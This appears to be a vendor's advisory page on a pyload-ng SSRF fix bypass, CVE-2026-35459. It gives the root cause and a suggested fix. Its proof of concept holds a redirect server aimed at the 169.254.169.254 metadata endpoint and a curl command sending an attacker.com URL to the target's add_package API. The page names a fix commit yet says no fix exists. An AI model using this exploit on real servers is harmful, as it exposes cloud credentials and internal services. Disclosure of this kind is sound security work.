CVE-2026-35459 — pyload-ng
Fix: pyload/pyload@33c55daCVE-2026-35459 is a Server-Side Request Forgery (SSRF) vulnerability in pyload-ng. No vendor fix is recorded yet; mitigation options are listed below.
pyLoad has SSRF fix bypass via HTTP redirect
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35459.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.
An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.
Root Cause
The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:
dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
self.fail(...)
else:
for ip in host_to_ip(dl_hostname):
if not is_global_address(ip):
self.fail(...)
After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)
No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.
PoC
Redirect server (attacker-controlled):
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
Submit to pyload (requires ADD permission):
curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
-d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'
The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.
Impact
An authenticated user with ADD permission can access:
- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
- Internal network services (10.x, 172.16.x, 192.168.x)
- Localhost services (127.0.0.1)
This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.
Suggested Fix
Disable automatic redirect following and validate each redirect target:
# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)
Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:
self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)
And add a pycurl callback to validate redirect destination IPs before following.
Resources
- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of pyload-ng has shipped for CVE-2026-35459 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-35459 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-35459. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-35459 in your dependencies?
O3 Security finds CVE-2026-35459 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.